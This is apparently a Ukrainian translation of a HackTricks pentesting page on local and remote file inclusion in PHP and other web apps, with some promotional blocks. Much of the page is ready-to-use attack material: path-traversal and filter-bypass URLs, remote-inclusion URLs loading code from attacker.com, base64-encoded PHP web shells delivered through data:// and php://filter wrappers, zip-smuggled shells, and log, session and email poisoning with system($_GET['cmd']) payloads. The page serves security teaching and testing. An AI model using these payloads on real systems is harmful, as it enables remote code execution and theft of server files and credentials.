hacktricks/pentesting-web/file-inclusion
2024-07-19 10:20:13 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
lfi2rce-via-eternal-waiting.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
lfi2rce-via-nginx-temp-files.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:16:42 +00:00
lfi2rce-via-php-filters.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
lfi2rce-via-phpinfo.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
lfi2rce-via-segmentation-fault.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 19:01:49 +00:00
lfi2rce-via-temp-file-uploads.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:13 +00:00
phar-deserialization.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
README.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
via-php_session_upload_progress.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 19:01:49 +00:00

Включення файлів/Траверсія шляхів

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Приєднуйтесь до HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!

Інсайти щодо хакінгу
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про хакінг у реальному часі
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні оголошення
Будьте в курсі найновіших запусків багів та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!

Включення файлів

Віддалене включення файлів (RFI): Файл завантажується з віддаленого сервера (найкраще: ви можете написати код, і сервер виконає його). У php це вимкнено за замовчуванням (allow_url_include).
Локальне включення файлів (LFI): Сервер завантажує локальний файл.

Вразливі функції PHP: require, require_once, include, include_once

Цікавий інструмент для експлуатації цієї вразливості: https://github.com/kurobeats/fimap

Сліпе - Цікаві - Файли LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Змішавши кілька списків LFI для *nix та додавши більше шляхів, я створив цей:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Спробуйте також замінити / на \
Спробуйте також додати ../../../../../

Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити наявність уразливості), можна знайти тут

Windows

Об'єднання різних списків слів:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Спробуйте також замінити / на \
Спробуйте також видалити C:/ та додати ../../../../../

Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити наявність уразливості), можна знайти тут

OS X

Перевірте список LFI для Linux.

Базовий LFI та обхідні шляхи

Усі приклади стосуються локального включення файлів, але можуть бути застосовані також до віддаленого включення файлів (сторінка=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

послідовності обходу видалено нерекурсивно

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Нульовий байт (%00)

Обійдіть додавання додаткових символів в кінці наданого рядка (обхід: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Це вирішено з PHP 5.4

Кодування

Ви можете використовувати нестандартні кодування, такі як подвійне URL-кодування (і інші):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

З існуючої папки

Можливо, back-end перевіряє шлях до папки:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Дослідження каталогів файлової системи на сервері

Файлову систему сервера можна досліджувати рекурсивно для визначення каталогів, а не лише файлів, за допомогою певних технік. Цей процес включає в себе визначення глибини каталогу та виявлення наявності конкретних папок. Нижче наведено детальний метод досягнення цього:

  1. Визначення глибини каталогу: Визначте глибину поточного каталогу, успішно отримавши файл /etc/passwd (застосовно, якщо сервер базується на Linux). Приклад URL може мати таку структуру, що вказує на глибину три:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Перевірка папок: Додайте назву підозрілої папки (наприклад, private) до URL-адреси, а потім перейдіть назад до /etc/passwd. Додатковий рівень каталогу вимагає збільшення глибини на одиницю:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Інтерпретація результатів: Відповідь сервера вказує на те, чи існує папка:
  • Помилка / Немає виводу: Ймовірно, папка private не існує за вказаною ​​адресою.
  • Вміст /etc/passwd: Підтверджено наявність папки private.
  1. Рекурсивне дослідження: Виявлені папки можна подальше досліджувати на предмет підкаталогів або файлів, використовуючи ту ж техніку або традиційні методи локального включення файлів (LFI).

Для дослідження каталогів у різних місцях файлової системи відповідно налаштуйте навантаження. Наприклад, щоб перевірити, чи містить /var/www/ каталог private (припускаючи, що поточний каталог знаходиться на глибині 3), використовуйте:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Техніка обрізання шляху

Обрізання шляху - це метод, який використовується для маніпулювання файловими шляхами в веб-додатках. Часто він використовується для доступу до обмежених файлів шляхом обхідних заходів безпеки, які додають додаткові символи в кінець файлових шляхів. Мета полягає в створенні файлового шляху, який, після зміни заходу безпеки, все ще вказує на бажаний файл.

У PHP різні представлення файлового шляху можуть вважатися еквівалентними через природу файлової системи. Наприклад:

  • /etc/passwd, /etc//passwd, /etc/./passwd та /etc/passwd/ розглядаються як один і той же шлях.
  • Коли останні 6 символів - passwd, додавання / (роблячи його passwd/) не змінює цільового файлу.
  • Так само, якщо до файлового шляху додати .php (наприклад, shellcode.php), додавання /. в кінці не змінить доступний файл.

Наведені приклади демонструють, як використовувати обрізання шляху для доступу до /etc/passwd, загальної цілі через його чутливий вміст (інформація про облікові записи користувачів):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

У цих сценаріях кількість потрібних переходів може становити близько 2027, але ця кількість може варіюватися в залежності від конфігурації сервера.

  • Використання крапкових сегментів та додаткових символів: Послідовності переходів (../), поєднані з додатковими крапковими сегментами та символами, можуть бути використані для навігації по файловій системі, ефективно ігноруючи додані рядки сервером.
  • Визначення потрібної кількості переходів: Шляхом випробувань можна визначити точну кількість послідовностей ../, необхідних для навігації до кореневого каталогу, а потім до /etc/passwd, забезпечуючи нейтралізацію будь-яких доданих рядків (наприклад, .php), але бажаний шлях (/etc/passwd) залишається недоторканим.
  • Початок зі штучного каталогу: Це загальна практика почати шлях з неіснуючого каталогу (наприклад, a/). Цей прийом використовується як запобіжний захід або для виконання вимог логіки розбору шляху сервера.

При використанні технік обрізання шляху важливо розуміти поведінку розбору шляху сервера та структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто необхідно проводити тестування, щоб знайти найефективніший метод.

Ця уразливість була виправлена в PHP 5.3.

Прийоми обхіду фільтрів

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Віддалене включення файлів

У php це за замовчуванням вимкнено, оскільки allow_url_include встановлено в Off. Щоб це працювало, воно повинно бути встановлено в On, і в цьому випадку ви зможете включити файл PHP з вашого сервера та отримати RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Якщо з якоїсь причини allow_url_include увімкнено, але PHP фільтрує доступ до зовнішніх веб-сторінок, згідно з цим постом, ви можете використовувати, наприклад, протокол даних з base64 для декодування b64 PHP коду та отримання RCE:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} У попередньому коді останній +.txt був доданий, оскільки зловмисникові потрібен рядок, який закінчується на .txt, тому рядок закінчується на нього, і після b64 декодування ця частина поверне просто сміття, а справжній PHP-код буде включений (і, отже, виконаний). {% endhint %}

Інший приклад без використання протоколу php:// буде:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Кореневий елемент Python

У Python у коді, подібному до цього:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Якщо користувач передає абсолютний шлях до file_name, то попередній шлях просто видаляється:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Це передбачувана поведінка згідно з документацією:

Якщо компонент є абсолютним шляхом, всі попередні компоненти викидаються, і з'єднання продовжується від компонента абсолютного шляху.

Список каталогів Java

Здається, якщо у вас є Траверсія Шляху в Java і ви запитуєте каталог замість файлу, буде повернута перелік каталогу. Цього не відбудеться в інших мовах програмування (наскільки я знаю).

Топ-25 параметрів

Ось список топ-25 параметрів, які можуть бути вразливими до включення локальних файлів (LFI) (з посилання):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI використовуючи обгортки та протоколи PHP

php://filter

PHP фільтри дозволяють виконувати базові операції модифікації даних перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:

  • Фільтри рядків:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Видалення тегів з даних (все між символами "<" та ">")
  • Зауважте, що цей фільтр зник з сучасних версій PHP
  • Фільтри конвертації
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Перетворює на інший кодування (convert.iconv.<input_enc>.<output_enc>). Щоб отримати список всіх підтримуваних кодувань, виконайте в консолі: iconv -l

{% hint style="warning" %} Зловживання фільтром конвертації convert.iconv.* дозволяє генерувати довільний текст, що може бути корисним для запису довільного тексту або створення функції, яка обробляє довільний текст. Для отримання додаткової інформації перегляньте LFI2RCE через фільтри php. {% endhint %}

  • Фільтри стиснення
  • zlib.deflate: Стиснення вмісту (корисно для виведення великої кількості інформації)
  • zlib.inflate: Розпакування даних
  • Фільтри шифрування
  • mcrypt.* : Застаріло
  • mdecrypt.* : Застаріло
  • Інші фільтри
  • Виконавши в php var_dump(stream_get_filters());, ви можете знайти кілька неочікуваних фільтрів:
  • consumed
  • dechunk: розгортає HTTP chunked кодування
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} Частина "php://filter" нечутлива до регістру {% endhint %}

Використання php-фільтрів як оракул для читання довільних файлів

У цьому пості запропонована техніка для читання локального файлу без отримання відповіді від сервера. Ця техніка базується на булевому виведенні файлу (символ за символом) за допомогою php-фільтрів як оракула. Це тому, що php-фільтри можуть бути використані для того, щоб зробити текст настільки великим, щоб php викинув виняток.

У вихідному пості ви знайдете детальне пояснення техніки, але ось швидкий огляд:

  • Використовуйте кодек UCS-4LE, щоб залишити ведучий символ тексту на початку і зробити розмір рядка експоненційно більшим.
  • Це буде використано для генерації тексту настільки великого, коли правильно вгадано початкову літеру, що php спричинить помилку
  • Фільтр dechunk видалить все, якщо перший символ не є шістнадцятковим, тому ми можемо знати, чи перший символ є шістнадцятковим.
  • Це, в поєднанні з попереднім (і іншими фільтрами, залежно від вгаданої літери), дозволить нам вгадати літеру на початку тексту, бачачи, коли ми виконуємо достатньо трансформацій, щоб зробити його не шістнадцятковим символом. Тому що якщо шістнадцятковий, dechunk не видалить його, і початкова бомба спричинить помилку php.
  • Кодек convert.iconv.UNICODE.CP930 перетворює кожну літеру в наступну (так після цього кодеку: a -> b). Це дозволяє нам виявити, чи перша літера - це a, наприклад, оскільки, якщо ми застосуємо 6 цих кодеків a->b->c->d->e->f->g, літера вже не є шістнадцятковим символом, тому dechunk не видалить його, і спрацює помилка php, оскільки вона множиться на початкову бомбу.
  • Використовуючи інші трансформації, такі як rot13 на початку, можливо витікати інші символи, такі як n, o, p, q, r (і інші кодеки можуть бути використані для перенесення інших літер до діапазону шістнадцяткових).
  • Коли початковий символ - це число, його потрібно закодувати в base64 і витікати перші 2 літери, щоб витікати число.
  • Остаточна проблема полягає в тому, як витікати більше, ніж початкову літеру. Використовуючи фільтри пам'яті порядку, такі як convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, можна змінити порядок символів і отримати на першій позиції інші літери тексту.
  • І для того, щоб мати можливість отримати додаткові дані, ідея полягає в тому, щоб генерувати 2 байти непотрібних даних на початку за допомогою convert.iconv.UTF16.UTF16, застосовувати UCS-4LE, щоб зробити його поворот з наступними 2 байтами, і видаляти дані до непотрібних даних (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не досягнете бажаного біта для витоку.

У пості також було розкрито інструмент для автоматичного виконання цього: php_filters_chain_oracle_exploit.

php://fd

Цей обгортка дозволяє отримувати доступ до файлових дескрипторів, які відкриті процесом. Потенційно корисно для витікання вмісту відкритих файлів:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Ви також можете використовувати php://stdin, php://stdout та php://stderr для доступу до дескрипторів файлів 0, 1 та 2 відповідно (не впевнений, як це може бути корисним у нападі)

zip:// та rar://

Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.
Для того, щоб мати можливість зловживати протоколом rar, потрібно спеціально активувати.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

Цей протокол може бути використаний для включення даних безпосередньо в URL. Наприклад, data://text/plain;base64,SGVsbG8sIFdvcmxkIQ== відобразить "Hello, World!" на сторінці.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Зверніть увагу, що цей протокол обмежується конфігураціями php allow_url_open та allow_url_include

expect://

Expect має бути активований. Ви можете виконати код, використовуючи це:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

ввід://

Вкажіть вашу полезну навантаження в параметрах POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Файл .phar може бути використаний для виконання PHP-коду, коли веб-додаток використовує функції, такі як include для завантаження файлів. Наведений нижче фрагмент коду PHP демонструє створення файлу .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Для компіляції файлу .phar слід виконати наступну команду:

php --define phar.readonly=0 create_path.php

Після виконання буде створено файл з назвою test.phar, який потенційно може бути використаний для експлуатації уразливостей локального включення файлів (LFI).

У випадках, коли LFI виконує лише читання файлів без виконання PHP-коду всередині через функції, такі як file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), або filesize(), можна спробувати експлуатацію уразливості десеріалізації. Ця уразливість пов'язана з читанням файлів за допомогою протоколу phar.

Для докладного розуміння експлуатації уразливостей десеріалізації в контексті файлів .phar, див. документ, посилання на який наведено нижче:

Посібник з експлуатації десеріалізації Phar

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Більше протоколів

Перевірте можливі протоколи для включення тут:

  • php://memory та php://temp — Запис у пам'яті або у тимчасовий файл (не зовсім зрозуміло, як це може бути корисним у атаках на включення файлів)
  • file:// — Доступ до локальної файлової системи
  • http:// — Доступ до URL-адрес HTTP(s)
  • ftp:// — Доступ до URL-адрес FTP(s)
  • zlib:// — Потоки стиснення
  • glob:// — Пошук шляхів, що відповідають шаблону (не повертає нічого друкованого, тому не дуже корисно тут)
  • ssh2:// — Безпечний Shell 2
  • ogg:// — Аудіопотоки (не корисно для читання довільних файлів)

LFI через 'assert' PHP

Ризики локального включення файлів (LFI) в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо вхідні дані, що містять символи траверсування каталогів, такі як "..", перевіряються, але не належним чином санітаризовані.

Наприклад, код PHP може бути розроблений для запобігання траверсуванню каталогів таким чином:

assert("strpos('$file', '..') === false") or die("");

Хоча це спрямовано на запобігання трансверсалу, це ненавмисно створює вектор для ін'єкції коду. Для експлуатації цього для читання вмісту файлу, зловмисник може використовувати:

' and die(highlight_file('/etc/passwd')) or '

Аналогічно, для виконання довільних системних команд можна використовувати:

' and die(system("id")) or '

Важливо URL-кодувати ці вантажі.

Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо Хакінгу
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення
Будьте в курсі найновіших запусків баг-баунті та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з топовими хакерами вже сьогодні!

PHP Blind Path Traversal

{% hint style="warning" %} Ця техніка актуальна у випадках, коли ви контролюєте шлях до файлу функції PHP, яка буде звертатися до файлу, але ви не побачите вміст файлу (наприклад, простий виклик file()), але вміст не відображається. {% endhint %}

У цьому неймовірному пості пояснено, як сліпий перехід шляху можна зловживати через фільтр PHP для екстракції вмісту файлу через помилковий оракул.

У підсумку, техніка використовує кодування "UCS-4LE", щоб зробити вміст файлу настільки великим, що функція PHP, яка відкриває файл, спричинить помилку.

Потім, для витоку першого символу використовується фільтр dechunk разом з іншими, такими як base64 або rot13, і, нарешті, використовуються фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE, щоб розмістити інші символи на початку та витікати їх.

Функції, які можуть бути вразливими: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (тільки ціль для читання з цим), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Для технічних деталей перевірте згаданий пост!

LFI2RCE

Віддалене Включення Файлів

Пояснено раніше, слідуйте за цим посиланням.

Через файл журналу Apache/Nginx

Якщо сервер Apache або Nginx вразливий на LFI всередині функції включення, ви можете спробувати отримати доступ до /var/log/apache2/access.log або /var/log/nginx/access.log, встановити всередині агента користувача або всередині GET параметра php shell, наприклад <?php system($_GET['c']); ?> та включити цей файл

{% hint style="warning" %} Зверніть увагу, що якщо ви використовуєте подвійні лапки для оболонки замість простих лапок, подвійні лапки будуть змінені на рядок "quote;", PHP викине помилку тут і нічого іншого не буде виконано.

Також переконайтеся, що правильно записали вантаж, або PHP буде викидати помилку кожного разу, коли спробує завантажити файл журналу, і у вас не буде другої можливості. {% endhint %}

Це також можна зробити в інших журналах, але будьте обережні, код всередині журналів може бути URL-кодованим і це може знищити Shell. Заголовок authorization "basic" містить "user:password" в Base64 і декодується всередині журналів. PHPShell може бути вставлений всередину цього заголовка.
Інші можливі шляхи до журналів:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Через Email

Надішліть листа на внутрішній обліковий запис (user@localhost), що містить ваш PHP-пейлоад, наприклад <?php echo system($_REQUEST["cmd"]); ?>, і спробуйте включити його в лист користувача за шляхом /var/mail/<USERNAME> або /var/spool/mail/<USERNAME>

Через /proc/*/fd/*

  1. Завантажте багато оболонок (наприклад: 100)
  2. Включіть http://example.com/index.php?page=/proc/$PID/fd/$FD, де $PID = PID процесу (може бути перебором) і $FD - дескриптор файлу (теж може бути перебором)

Через /proc/self/environ

Подібно до файлу журналу, надішліть пейлоад у заголовку User-Agent, він буде відображений всередині файлу /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Через завантаження

Якщо ви можете завантажити файл, просто впровадіть оболонковий вразливий код в нього (наприклад: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Для збереження читабельності файлу найкраще внести ін'єкцію в метадані зображень/документів/pdf

Через завантаження ZIP-файлу

Завантажте ZIP-файл, що містить стиснутий PHP shell, та отримайте доступ:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Через PHP сесії

Перевірте, чи використовує веб-сайт PHP сесії (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

У PHP ці сесії зберігаються у файлах /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Встановіть cookie на <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Використовуйте LFI для включення файлу PHP сесії

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Через ssh

Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status та /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa

Через vsftpd журнали

Журнали для FTP-сервера vsftpd розташовані в /var/log/vsftpd.log. У випадку наявності уразливості на локальну включення файлів (LFI) і можливості доступу до відкритого сервера vsftpd, можна розглянути наступні кроки:

  1. Впровадити PHP-навантаження в поле імені користувача під час процесу входу.
  2. Після впровадження використовуйте LFI для отримання журналів сервера з /var/log/vsftpd.log.

Через фільтр php base64 (використовуючи base64)

Як показано в цій статті, фільтр PHP base64 просто ігнорує Non-base64. Ви можете використовувати це для обходу перевірки розширення файлу: якщо ви надаєте base64, який закінчується на ".php", він просто ігнорує "." і додає "php" до base64. Ось приклад навантаження:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Через фільтри php (не потрібен файл)

У цьому описі пояснюється, що ви можете використовувати фільтри php для генерації довільного вмісту як вивід. Це в основному означає, що ви можете генерувати довільний php код для включення без необхідності писати його у файл.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Через відсутність сегментаційної помилки

Завантажте файл, який буде збережено як тимчасовий в /tmp, а потім у тому ж запиті, спричиніть відсутність сегментаційної помилки, і тоді тимчасовий файл не буде видалено і ви зможете його знайти.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Через тимчасове зберігання файлів Nginx

Якщо ви знайшли локальне включення файлів і перед PHP працює Nginx, ви можете отримати RCE за допомогою наступної техніки:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Через PHP_SESSION_UPLOAD_PROGRESS

Якщо ви знайшли локальне включення файлів, навіть якщо у вас немає сесії і session.auto_start встановлено в Off. Якщо ви надаєте PHP_SESSION_UPLOAD_PROGRESS у multipart POST даних, PHP автоматично увімкне сесію для вас. Ви можете використовувати це для отримання RCE:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Через тимчасове завантаження файлів у Windows

Якщо ви знайшли локальне включення файлів і сервер працює під Windows, ви можете отримати RCE:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Через phpinfo() (file_uploads = on)

Якщо ви знайшли локальне включення файлів і файл, який використовує phpinfo() з file_uploads = on, ви можете отримати RCE:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Через compress.zlib + PHP_STREAM_PREFER_STUDIO + Розкриття шляху

Якщо ви знайшли локальне включення файлів і ви можете витягти шлях до тимчасового файлу, АЛЕ сервер перевіряє, чи файл, який має бути включений, має мітки PHP, ви можете спробувати обійти цю перевірку за допомогою цієї Race Condition:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Через вічне очікування + перебір паролів

Якщо ви можете використовувати LFI для завантаження тимчасових файлів і змусити сервер зависнути виконання PHP, ви потім можете перебирати імена файлів годинами, щоб знайти тимчасовий файл:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

До фатальної помилки

Якщо ви включите будь-який з файлів /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Вам потрібно включити однаковий файл 2 рази, щоб викинути цю помилку).

Я не знаю, наскільки це корисно, але це може бути.
Навіть якщо ви викликаєте фатальну помилку PHP, тимчасові файли, завантажені PHP, видаляються.

Посилання

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо взлому
Взаємодійте з контентом, який досліджує захоплення та виклики взлому

Новини про взломи в реальному часі
Будьте в курсі швидкозмінного світу взлому завдяки новинам та інсайтам в реальному часі

Останні оголошення
Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!

Вивчайте взлом AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: